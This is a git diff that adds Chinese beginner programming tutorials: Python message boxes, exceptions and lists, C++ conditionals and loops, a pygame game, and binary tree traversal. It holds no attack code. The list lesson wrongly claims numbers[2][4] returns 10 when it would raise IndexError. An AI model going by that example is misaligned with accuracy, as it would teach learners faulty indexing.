['警告!病毒程序开始运行!','通知!程序正常运行!','错误!安全软件拦截!'] + +#我们想用警示框显示列表中第一个元素 +showwarning(title,msg[0]) +#我们想用通知框显示列表中第二个元素 +showinfo(title,msg[1]) +#我们想用错误框显示列表中第三个元素 +showerror(title,msg[2]) +``` +这些窗口弹出时都含有声音,但是也有一个小框: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201220110553836.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +我们需要把它干掉,所以代码就变成了: + +```python +from tkinter.messagebox import showinfo,showwarning,showerror +from tkinter import Tk + +#设置变量 +title = '文字框' +msg = ['警告!病毒程序开始运行!','通知!程序正常运行!','错误!安全软件拦截!'] +window = Tk() + +#不显示窗口 +window.withdraw() +#我们想用警示框显示列表中第一个元素 +showwarning(title,msg[0]) +#我们想用通知框显示列表中第二个元素 +showinfo(title,msg[1]) +#我们想用错误框显示列表中第三个元素 +showerror(title,msg[2]) + +#循环刷新 +window.mainloop() +``` +这样就行了。 +
+ +在这里给大家分享一个更简单的方法—— `msgbox`。 +(注意,这里的格式发生变化:`msgbox('显示的内容','标题')`) + +```python +#导入easygui +from easygui import msgbox + +#创建变量 +title = '文字框' +msg = ['警告!病毒程序开始运行!','通知!程序正常运行!','错误!安全软件拦截!'] + +#显示窗口 +msgbox(msg[0],title) +msgbox(msg[1],title) +msgbox(msg[2],title) +``` +后期我们在学习GUI模块时多给大家讲解。 +
+作业: + +```python +1.通过easygui显示窗口,内容为“你好,世界!”,标题:“程序”。 +2.通过tkinter.messagebox.showinfo()显示窗口,内容为“Hello,world!”,标题:“Program” +``` + diff --git "a/\344\270\213\346\213\211\346\241\206\347\273\204\344\273\266.md" "b/\344\270\213\346\213\211\346\241\206\347\273\204\344\273\266.md" new file mode 100644 index 0000000..70df680 --- /dev/null +++ "b/\344\270\213\346\213\211\346\241\206\347\273\204\344\273\266.md" @@ -0,0 +1,30 @@ +```python +from tkinter import Tk,Label,ttk +window = Tk() +window.resizable(0,0) +window.geometry('350x100') +window.title('文字') + +def showText(*args): + try: + text = '文字1' + which = cbox.get() + if which == '文字1': + text = '文字1' + elif which == '文字2': + text = '文字2' + elif which == '文字3': + text = '文字3' + Label(window,text = text,font = ('SimHei',20)).place(x = 150,y = 15) + except Exception as e: + print('ERROR:',e) + +cbox = ttk.Combobox(window,width = 15) +cbox['values'] = ['文字1','文字2','文字3'] +cbox.place(x = 10,y = 10) +cbox.current(0) +cbox['state'] = 'readonly' +cbox.bind('<>',showText) +window.mainloop() +``` + diff --git "a/\344\271\235\343\200\201\351\224\231\350\257\257\344\270\216\345\274\202\345\270\270.md" "b/\344\271\235\343\200\201\351\224\231\350\257\257\344\270\216\345\274\202\345\270\270.md" new file mode 100644 index 0000000..9771220 --- /dev/null +++ "b/\344\271\235\343\200\201\351\224\231\350\257\257\344\270\216\345\274\202\345\270\270.md" @@ -0,0 +1,147 @@ +我们写代码时,容易遇到错误和程序异常,`Python`会很贴心地提示我们。比如说这样! +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210124084506386.png) +还有这样: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210124084616522.png) +以及这样: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210124085055422.png) +……还有很多,它们都称之为异常。 +
+ +## 异常都有哪些? +请看下表(以下是内置异常): + +```python +异常名称 描述 +BaseException 所有异常的基类 +SystemExit 解释器请求退出 +KeyboardInterrupt 用户中断执行(通常是输入^C) +Exception 常规错误的基类 +StopIteration 迭代器没有更多的值 +GeneratorExit 生成器(generator)发生异常来通知退出 +SystemExit Python 解释器请求退出 +StandardError 所有的内建标准异常的基类 +ArithmeticError 所有数值计算错误的基类 +FloatingPointError 浮点计算错误 +OverflowError 数值运算超出最大限制 +ZeroDivisionError 除(或取模)零 (所有数据类型) +AssertionError 断言语句失败 +AttributeError 对象没有这个属性 +EOFError 没有内建输入,到达EOF 标记 +EnvironmentError 操作系统错误的基类 +IOError 输入/输出操作失败 +OSError 操作系统错误 +WindowsError 系统调用失败 +ImportError 导入模块/对象失败 +KeyboardInterrupt 用户中断执行(通常是输入^C) +LookupError 无效数据查询的基类 +IndexError 序列中没有没有此索引(index) +KeyError 映射中没有这个键 +MemoryError 内存溢出错误(对于Python 解释器不是致命的) +NameError 未声明/初始化对象 (没有属性) +UnboundLocalError 访问未初始化的本地变量 +ReferenceError 弱引用(Weak reference)试图访问已经垃圾回收了的对象 +RuntimeError 一般的运行时错误 +NotImplementedError 尚未实现的方法 +SyntaxError Python 语法错误 +IndentationError 缩进错误 +TabError Tab 和空格混用 +SystemError 一般的解释器系统错误 +TypeError 对类型无效的操作 +ValueError 传入无效的参数 +UnicodeError Unicode 相关的错误 +UnicodeDecodeError Unicode 解码时的错误 +UnicodeEncodeError Unicode 编码时错误 +UnicodeTranslateError Unicode 转换时错误 +Warning 警告的基类 +DeprecationWarning 关于被弃用的特征的警告 +FutureWarning 关于构造将来语义会有改变的警告 +OverflowWarning 旧的关于自动提升为长整型(long)的警告 +PendingDeprecationWarning 关于特性将会被废弃的警告 +RuntimeWarning 可疑的运行时行为(runtime behavior)的警告 +SyntaxWarning 可疑的语法的警告 +UserWarning 用户代码生成的警告 + + +—————————————————————————————————————————————————— +不包括自定义的异常。 +来自:https://www.cnblogs.com/liujiacai/p/10280323.html +``` + +
+ +## 如何抛出异常? +异常可以让我们抛出,适合在模块中使用。 +我们来认识一下抛出错误的语句——`raise`语句。 +格式:`raise 错误名称(提示内容)`,操作一下: + +```python +raise SyntaxError('语法错误!') +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210124091102898.png) +只要是内置异常或自定义设好了的,都可以使用。 + +
+ +## 怎么自定义一个新的异常? +我们可以自定义异常,代码格式: + +```python +class 异常名称(Exception): + def __init__(self): + pass + def __str__(self): + return 错误信息 +``` +甚至可以支持汉语: + +```python +class 错误类是可以支持汉语的(Exception): + def __init__(self): + pass + def __str__(self): + return '错误信息' + +raise 错误类是可以支持汉语的 +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2021012409180791.png) +尽管编辑器可能会提示错误,但是可以运行。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210124091916123.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +
+ +## 如何检测异常? +我们可以通过`try except`语句检测异常,格式如下: + +```python +try: + 要检测的代码 +except 异常名称: + 处理这个异常的代码 +``` +可以有无限个`except`,有点类似于`if语句`,如果要是遇到错误就输出,那么代码写成这样: + +```python +try: + 要检测的代码 +except Exception as e: + print('错误!',e) +``` +来做个小测试: + +```python +while True: + try: + number = int(input('请输入一个数字:')) + except ValueError: + print('您输入的内容无效!') +``` +这样就用户输入不是数字的内容时,就会触发错误检测,提示用户输入内容无效。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2021012409340276.png) + +
+ +```python +练习题 +请自定义一个名为ZiDingYiError的异常,抛出它时输出'自定义异常',并将它抛出。 +``` + diff --git "a/\344\272\214\343\200\201\345\210\227\350\241\250\347\232\204\346\223\215\344\275\234.md" "b/\344\272\214\343\200\201\345\210\227\350\241\250\347\232\204\346\223\215\344\275\234.md" new file mode 100644 index 0000000..460735e --- /dev/null +++ "b/\344\272\214\343\200\201\345\210\227\350\241\250\347\232\204\346\223\215\344\275\234.md" @@ -0,0 +1,91 @@ +上一次我们简单认识了最基础的数据类型,这一次我们来看一个高级些的——列表。列表是一个无限大的空间,里面可以放任何基础数据类型,比如整数类型、字符串类型、浮点数类型、布尔类型、字典和元组(我们会在以后说到)……甚至连列表也可以放进列表中,这样的列表叫做二级列表。 +列表的英文类型是`list`。它里面的内容叫做`元素`。在列表中,如果要获取列表中的某一个元素,要输入下标,列表的下标是从0开始的! +列表也是一种数据类型,所以也要储存在变量里,可以在任何地方使用。创建一个列表,我们需要用到中括号`[ ]`,把数据放在里面。 +以后我们会学到切片操作!现在我们先来说第一部分:**获取列表信息**! + +
+①获取元素 + +我们先创建一个列表: + +```python +numbers = [1,2,3,4,5] +``` +现在,我们想要获取列表中的元素`3`,那么代码应该怎样写呢? + +```python +#想要获取的元素下标为2 +print(numbers[2]) +``` +这样我们就获取了元素`3`,并把它输出在了控制台上。 +获取其他元素也是这样的,格式是`列表名[下标]`。 +如果是一个这样的列表,那就需要多次输出了: + +```python +numbers = [[1,2,3,4,5],[6,7,8,9,10]] +#我们想要获取元素"10" +print(numbers[2][4]) +#下表为2和4 +#先获取第二个列表,再从第二个列表中获取元素"10" +``` +②获取列表长度 +我们首先创建一个列表: + +```python +numbers = [1,2,3,4,5,6,7,8,9,10,11,12] +``` +你知道列表一共有多长吗? + +```python +print(len(numbers)) +``` +这里我们用到了`len()`函数。这个函数用来检测列表长度。 +
+如何操作列表 + +①添加元素 + +```python +numbers = [1,2,3,4] +#我们想给它添加一个元素"5" +numbers.append(5) +#使用append()函数直接添加到末尾 +print(numbers) +``` +②在指定位置添加元素 + +```python +numbers = [1,2,4,5] +#我们想在下标为2的位置添加元素"3" +numbers.insert(2,3) +#输出列表 +print(numbers) +``` + +③以下标删除元素 + +```python +numbers = [1,2,3,4,5,6] +#我们想要删除下标为5的元素 +numbers.pop(5) +#输出列表 +print(numbers) +``` +④以元素内容删除元素 + +```python +numbers = [1,2,3,4,5,6] +#我们想要删除元素6 +numbers.remove(6) +#输出列表 +print(numbers) +``` +
+作业: + +```python +1.创建列表x,添加元素"Hello World!"和"你好,世界!",在Console中输出它们。 +2.已知列表y=[0,1,2,3,4,5,6,7,8,9,10],请使用remove()函数删除元素10,把最后结果输出到Console。 +3.创建列表z,请用户输入内容,把用户输入的信息添加到列表中,最后输出到Console。 +``` + diff --git "a/\344\272\214\343\200\201\345\210\244\346\226\255 & \345\276\252\347\216\257.md" "b/\344\272\214\343\200\201\345\210\244\346\226\255 & \345\276\252\347\216\257.md" new file mode 100644 index 0000000..64c9328 --- /dev/null +++ "b/\344\272\214\343\200\201\345\210\244\346\226\255 & \345\276\252\347\216\257.md" @@ -0,0 +1,460 @@ + + +# 布尔类型 +hello,我们又见面了,在开始今天的内容之前,我们来看一点点有趣的东西——布尔类型(`bool`)。 +定义的方法: `bool 变量名=真(true)或假(false);` +比如说:`bool flag=true;`,定义布尔变量时,不给默认值则该变量为假。 + +我们也可以直接把布尔类型的变量定义为表达式,它会自动运算结果,并决定变量的值的真假。 +例如:`bool flag=(100>99);`,这里的变量的值为真;重新定义`flag=(100<99);`,这时变量的值为假。 + +需要注意的是: +- **除了0以外的其他任何数字的布尔值为真,只有0为假**。同样的,空字符常量的布尔值为0。 +- **任何逻辑表达式的结果都可以归结为真或假,即布尔类型的变量。** +- 当你想要给一个布尔类型的变量取反值时,你可以巧妙地**使用取反符**,比如这样: +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + bool s=false; + s=!s; + cout< +using namespace std; +int main(){ + bool s=false; + s=not s; + cout<`|`>`|大于($>$)|`3>2` 返回真;`3>4` 返回假| +|`<=`|`<=`|小于等于($\le$)|`1<=1` 返回真;`2<=1` 返回假| +|`>=`|`>=`|大于等于($\ge$)|`1>=0` 返回真;`1>=2` 返回假| + +一起来试试吧: +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/a2e70a0c1934f555c7e9450a0bdb6e5f.png) +显而易见,我们只需要用一个`if`和一个`else`就可以了~ +如果你的代码是这样的,就说明你已经掌握了一部分的判断语句😁 +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int n; + cin>>n; + // if后只有一句可以不用加大括号。 + if(n>=10&&n<=99) cout<<1; + else cout<<0; + return 0; +} + +``` +当然,我们可以妙用除法: +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int n; + cin>>n; + if(n/10>=1&&n/10<=9) cout<<1; + else cout<<0; + return 0; +} +``` + +既然这题没啥问题了,就再来一题吧!😄 + +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/081b66c139ca3980383b8eb32ae0d97b.png) +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int n; + cin>>n; + // 对15取余为0 相当于 被15整除 + if(n%15==0) cout<<"YES"; + else cout<<"NO"; + return 0; +} +``` +哇,你好厉害啊!现在,我们来继续增大难度,看一个有趣的东西——三目运算符。 + +# 三目运算符 +三目运算符的基本结构是: +`(表达式或布尔值) ? 真值要做的事 : 假值要做的事` +例如:`(a>b)?b=a:a=b`,给出整数 $a$ 和 $b$ ,那么请问这是在干嘛呢? +> 表达式的意思是在说: 如果 $a>b$ 成立,就把 $a$ 的值赋给 $b$ ;反之就把 $b$ 的值给 $a$ 。 + +如何利用三目运算符比较三个数中最大的呢? +`((a>b)?((a>c)?a:((b>c)?b:c)):((b>c)?b:c))` +看起来很麻烦的样子,我们来仔细理解一下😅。 + + 先比较 a 和 b 的大小,如果 b 大,就用 c 和 b 作比较,如果 b 大,b 就是最大的那个;如果最开始 a 大,就用 a 和 c 作比较,如果 a 大, a 就是最大的,如果 c 大,那再拿 b 和 c 作比较,拿到最大的。 + +好家伙,这么麻烦啊?? +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/186fbab9c407c5ebe6a1b6a958b4433d.gif) +不过好在,我们有函数来帮忙。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int a,b,c; + cin>>a>>b>>c; + // cout<<((a>b)?((a>c)?a:((b>c)?b:c)):((b>c)?b:c)); + cout< +using namespace std; +int main(){ + int a=10; + cout<<(a++)< `a++` 为先输出、再加,但是因为下面重新给a赋值为10,所以看不到效果;但是重新赋值以前 a 的值已经是11了。 +> `++a` 为先加再输出。 + +现在,我们来看看第一种循环:`while`循环。 + +# while 循环 +while循环,我们在python里经常见吧?! +格式是差不多的: +```cpp +while(表达式或布尔类型的值){ + 你要执行的指令 +} +``` +当表达式的值为假时,循环停止,继续运行下面的指令。 +但如果你写成了 `while(true)` (死循环),就会一直跑,跑啊跑,至死方休。 + +看一个简单的小例子,输出1~100的数: +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int index=1; // 给定初始值为1 + while(index<=100){ // 当 index=101 时,不满足条件,就退出了 + cout< +using namespace std; +int main(){ + int index=1; + while(index<=100){ + if(index++%3==0) continue; + cout< +using namespace std; +int main(){ + int index=1; + while(index<=100){ + if(index%5==0) continue; // 跳过5的倍数 + cout< +using namespace std; +int main(){ + int index=1; + while(index<=100){ + if(index%5==0) index++; + cout< +using namespace std; +int main(){ + int index=1; + while(index<=100){ + // 当index的值为50时,终止循环。 + if(index==50) break; + cout< +using namespace std; +int main(){ + do{ + cout<<"hi"; + }while(false); + return 0; +} +``` +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/b26917564f6fc08a2a4fc006bb8eb604.png) + +可以这样输出1~100: +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int index=1; + do{ + cout< 咳咳咳扯远了,我们还是先看看怎么用吧。 + +```cpp +for(int 循环内变量=初始值;循环逻辑表达式;变量的变化){ + 要执行的指令 +} +``` +有没有觉得很复杂?其实你看,很简单的: +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + for(int i=1;i<=100;i++){ + cout< 我最开始也不喜欢用for,但是慢慢就发现还是for最省力气。 + +来练练手: +请使用for循环输出N个正整数(小于100)的最大值。 +输入: +```cpp +5 +1 2 5 4 3 +``` +输出: +```cpp +5 +``` + +这时候,我们使用一种不一样的办法。这种办法本质上我觉得像是一种递推算法,推出来最大的数。 +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int n,tmp,maxn=0; + cin>>n; + for(int i=0;i>tmp; + if(tmp>maxn){ + // 如果比当前最大的还大,就让它成为最大的 + maxn=tmp; + } + } + cout< +using namespace std; +int main(){ + int n,minn=0xcffff,maxn=0,avgn=0; + int tmp; // 临时变量 + cin>>n; + // 循环,输入 + for(int i=0;i>tmp; + // 更新最大值 + maxn=max(maxn,tmp); + // 更新最小值 + minn=min(minn,tmp); + // 计算和 + avgn+=tmp; + } + // 输出 + cout<99);`,这里的变量的值为真;重新定义`flag=(100<99);`,这时变量的值为假。 + +需要注意的是: +- **除了0以外的其他任何数字的布尔值为真,只有0为假**。同样的,空字符常量的布尔值为0。 +- **任何逻辑表达式的结果都可以归结为真或假,即布尔类型的变量。** +- 当你想要给一个布尔类型的变量取反值时,你可以巧妙地**使用取反符**,比如这样: +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + bool s=false; + s=!s; + cout< +using namespace std; +int main(){ + bool s=false; + s=not s; + cout<`|`>`|大于($>$)|`3>2` 返回真;`3>4` 返回假| +|`<=`|`<=`|小于等于($\le$)|`1<=1` 返回真;`2<=1` 返回假| +|`>=`|`>=`|大于等于($\ge$)|`1>=0` 返回真;`1>=2` 返回假| + +一起来试试吧: +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/a2e70a0c1934f555c7e9450a0bdb6e5f.png) +显而易见,我们只需要用一个`if`和一个`else`就可以了~ +如果你的代码是这样的,就说明你已经掌握了一部分的判断语句😁 +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int n; + cin>>n; + // if后只有一句可以不用加大括号。 + if(n>=10&&n<=99) cout<<1; + else cout<<0; + return 0; +} + +``` +当然,我们可以妙用除法: +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int n; + cin>>n; + if(n/10>=1&&n/10<=9) cout<<1; + else cout<<0; + return 0; +} +``` + +既然这题没啥问题了,就再来一题吧!😄 + +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/081b66c139ca3980383b8eb32ae0d97b.png) +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int n; + cin>>n; + // 对15取余为0 相当于 被15整除 + if(n%15==0) cout<<"YES"; + else cout<<"NO"; + return 0; +} +``` +哇,你好厉害啊!现在,我们来继续增大难度,看一个有趣的东西——三目运算符。 + +# 三目运算符 +三目运算符的基本结构是: +`(表达式或布尔值) ? 真值要做的事 : 假值要做的事` +例如:`(a>b)?b=a:a=b`,给出整数 $a$ 和 $b$ ,那么请问这是在干嘛呢? +> 表达式的意思是在说: 如果 $a>b$ 成立,就把 $a$ 的值赋给 $b$ ;反之就把 $b$ 的值给 $a$ 。 + +如何利用三目运算符比较三个数中最大的呢? +`((a>b)?((a>c)?a:((b>c)?b:c)):((b>c)?b:c))` +看起来很麻烦的样子,我们来仔细理解一下😅。 + + 先比较 a 和 b 的大小,如果 b 大,就用 c 和 b 作比较,如果 b 大,b 就是最大的那个;如果最开始 a 大,就用 a 和 c 作比较,如果 a 大, a 就是最大的,如果 c 大,那再拿 b 和 c 作比较,拿到最大的。 + +好家伙,这么麻烦啊?? +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/186fbab9c407c5ebe6a1b6a958b4433d.gif) +不过好在,我们有函数来帮忙。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int a,b,c; + cin>>a>>b>>c; + // cout<<((a>b)?((a>c)?a:((b>c)?b:c)):((b>c)?b:c)); + cout< +using namespace std; +int main(){ + int a=10; + cout<<(a++)< `a++` 为先输出、再加,但是因为下面重新给a赋值为10,所以看不到效果;但是重新赋值以前 a 的值已经是11了。 +> `++a` 为先加再输出。 + +现在,我们来看看第一种循环:`while`循环。 + +# while 循环 +while循环,我们在python里经常见吧?! +格式是差不多的: +```cpp +while(表达式或布尔类型的值){ + 你要执行的指令 +} +``` +当表达式的值为假时,循环停止,继续运行下面的指令。 +但如果你写成了 `while(true)` (死循环),就会一直跑,跑啊跑,至死方休。 + +看一个简单的小例子,输出1~100的数: +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int index=1; // 给定初始值为1 + while(index<=100){ // 当 index=101 时,不满足条件,就退出了 + cout< +using namespace std; +int main(){ + int index=1; + while(index<=100){ + if(index++%3==0) continue; + cout< +using namespace std; +int main(){ + int index=1; + while(index<=100){ + if(index%5==0) continue; // 跳过5的倍数 + cout< +using namespace std; +int main(){ + int index=1; + while(index<=100){ + if(index%5==0) index++; + cout< +using namespace std; +int main(){ + int index=1; + while(index<=100){ + // 当index的值为50时,终止循环。 + if(index==50) break; + cout< +using namespace std; +int main(){ + do{ + cout<<"hi"; + }while(false); + return 0; +} +``` +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/b26917564f6fc08a2a4fc006bb8eb604.png) + +可以这样输出1~100: +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int index=1; + do{ + cout< 咳咳咳扯远了,我们还是先看看怎么用吧。 + +```cpp +for(int 循环内变量=初始值;循环逻辑表达式;变量的变化){ + 要执行的指令 +} +``` +有没有觉得很复杂?其实你看,很简单的: +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + for(int i=1;i<=100;i++){ + cout< 我最开始也不喜欢用for,但是慢慢就发现还是for最省力气。 + +来练练手: +请使用for循环输出N个正整数(小于100)的最大值。 +输入: +```cpp +5 +1 2 5 4 3 +``` +输出: +```cpp +5 +``` + +这时候,我们使用一种不一样的办法。这种办法本质上我觉得像是一种递推算法,推出来最大的数。 +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int n,tmp,maxn=0; + cin>>n; + for(int i=0;i>tmp; + if(tmp>maxn){ + // 如果比当前最大的还大,就让它成为最大的 + maxn=tmp; + } + } + cout< +using namespace std; +int main(){ + int n,minn=0xcffff,maxn=0,avgn=0; + int tmp; // 临时变量 + cin>>n; + // 循环,输入 + for(int i=0;i>tmp; + // 更新最大值 + maxn=max(maxn,tmp); + // 更新最小值 + minn=min(minn,tmp); + // 计算和 + avgn+=tmp; + } + // 输出 + cout< self.x - self.width and c.x < self.x + self.width and c.y > self.y - self.height and c.y < self.y + self.height + def outOfBounds(self): #检测出界 + if self.y > 700 - self.height: + self.y = 700 - self.height + if self.y <= 0: + self.y = 0 + if self.x < 0: + self.x = 0 + if self.x > 1000 - self.width: + self.x = 1000 - self.width + def shoot(self): #发射子弹(我们以后会学,先别写) + if not isActionTime(self.shoot_lastTime,self.shoot_interval): + return + self.shoot_lastTime = time() + Game.bullets.append(Bullets(self.x + self.width / 2,self.y + self.height / 2)) +``` +看来,这个类中的内容比较多,我们来一起看一看都是干什么的。 + + - `paint`函数:绘制出医生的图片 + - `hit`函数:检测病毒的碰撞 + - `shoot`函数:发射子弹 + - `outOfBounds`函数:检测玩家控制是否出界,如果出界则弹回。![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210131090218651.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +我们在`Game`类中,设定`Doctor`类的对象。 + +```python +class Game(): + virus_imgs = [virus1,virus2,virus3] + virus = [] + lastTime = time() + interval = 1 + doctor = Doctor(0,700 - 100) +``` +再来看`event`函数,鼠标移动对应了`MOUSEMOTION`事件,我们来判断: + +```python +def event(): + for event in pygame.event.get(): + if event.type == QUIT: + pygame.quit() + exit() + if event.type == MOUSEMOTION: + mouseX = event.pos[0] + mouseY = event.pos[1] + Game.doctor.y = mouseY + Game.doctor.x = mouseX +``` +添加到绘制组件: + +```python +def conPaint(): + canvas.blit(bg,(0,0)) + Game.doctor.paint() + for virus in Game.virus: + virus.paint() +``` +再到`control`中添加检查出界: + +```python +def control(): + conPaint() + event() + conEnter() + conStep() + Game.doctor.outOfBounds() + pygame.display.update() +``` +运行发现,我们的图片跟随鼠标,但是有一个问题:**鼠标箭头的尖多准的是图片的左上角**,我们想要让它对准图片的正中央,该怎么办呢? + +```python +def event(): + for event in pygame.event.get(): + if event.type == QUIT: + pygame.quit() + exit() + if event.type == MOUSEMOTION: + mouseX = event.pos[0] + mouseY = event.pos[1] + Game.doctor.y = mouseY - Game.doctor.height / 2 + Game.doctor.x = mouseX - Game.doctor.width / 2 +``` + +
+ +### 检测医生与病毒的碰撞 +我们要创建一个`checkHit`函数,检测碰撞: + +```python +def checkHit(): + for virus in Game.virus: + if Game.doctor.hit(virus): + Game.doctor.life -= 1 #生命值减少 + Game.virus.remove(virus) #删除病毒元素 +``` +在`control`函数中调用: + +```python +def control(): + conPaint() + event() + conEnter() + conStep() + checkHit() + Game.doctor.outOfBounds() + pygame.display.update() +``` +发生碰撞后,病毒就被删除了,而医生看起来没有什么变化,但是内部的`life`属性就已经减少了。 + +
+ +# 练习题 + +```python +练习题 +如果病毒与医生发生碰撞,那么输出当前生命值。 +``` + diff --git "a/\344\272\214\345\217\211\346\240\221\345\272\224\347\224\250\351\242\230\342\200\224\342\200\224\346\216\250\347\256\227\345\220\216\345\272\217\351\201\215\345\216\206\345\272\217\345\210\227.md" "b/\344\272\214\345\217\211\346\240\221\345\272\224\347\224\250\351\242\230\342\200\224\342\200\224\346\216\250\347\256\227\345\220\216\345\272\217\351\201\215\345\216\206\345\272\217\345\210\227.md" new file mode 100644 index 0000000..eb682ca --- /dev/null +++ "b/\344\272\214\345\217\211\346\240\221\345\272\224\347\224\250\351\242\230\342\200\224\342\200\224\346\216\250\347\256\227\345\220\216\345\272\217\351\201\215\345\216\206\345\272\217\345\210\227.md" @@ -0,0 +1,80 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8bc7940c6c214f88aee922395d9bc87a.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/99958b3bf8564a7796a118d65fa8a197.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/bafd4ba27f0f4c4a9d20e9acde7bb6a6.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +普通的写法: +```cpp +//Author:PanDaoxi +#include +#include +using namespace std; +char pre[101]; //先序 +char in[101]; //中序 +struct node{ + char value; //节点值 + int lchild,rchild; //左右节点 +}data[1001]; +int root,cnt; //根位置 cnt节点编号 +int N; //节点个数 +void posOrder(int bt){ + if(bt){ + posOrder(data[bt].lchild); + posOrder(data[bt].rchild); + cout<preR) bt=0; //递归 + else{ + bt=++cnt; //节点编号增加 + int m; //中序根的下标 + for(m=inL;m<=inR;m++){ + //找到根并存留 + if(in[m]==pre[preL]) break; + } + data[bt].value=in[m]; //根给data[bt] + int numLeft=m-inL; //左子树的个数 + data[bt].lchild=create(preL+1,preL+numLeft,inL,m-1); + data[bt].rchild=create(preL+numLeft+1,preR,m+1,inR); + } + return bt; +} +int main(){ + cin>>pre>>in; + N=strlen(pre); + root=create(0,N-1,0,N-1); + posOrder(root); + return 0; +} +``` +智慧的写法: +(逻辑性较强) + +```cpp +//Author:PanDaoxi +#include +#include +using namespace std; +string s1,s2; +//后序遍历 +void set_up(int l1,int r1,int l2,int r2){ + int m; //中序根的位置 + for(m=l2;m<=r2;m++){ + if(s2[m]==s1[l1]) break; + } + if(m>l2) set_up(l1+1,l1+(m-l2),l2,m-1); //左输出 + if(m>s1>>s2; + set_up(0,s1.length()-1,0,s2.length()-1); //后序遍历,输出 + return 0; +} +``` + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9169da1a1bc64feca8d0b5b8bdc31ce8.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + diff --git "a/\344\272\214\345\217\211\346\240\221\345\272\224\347\224\250\351\242\230\342\200\224\342\200\224\350\277\267\351\230\265\347\232\204\345\207\272\345\217\243.md" "b/\344\272\214\345\217\211\346\240\221\345\272\224\347\224\250\351\242\230\342\200\224\342\200\224\350\277\267\351\230\265\347\232\204\345\207\272\345\217\243.md" new file mode 100644 index 0000000..79f0a2d --- /dev/null +++ "b/\344\272\214\345\217\211\346\240\221\345\272\224\347\224\250\351\242\230\342\200\224\342\200\224\350\277\267\351\230\265\347\232\204\345\207\272\345\217\243.md" @@ -0,0 +1,33 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/37b3d6bf940844c7b814a36c5f391d4d.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) 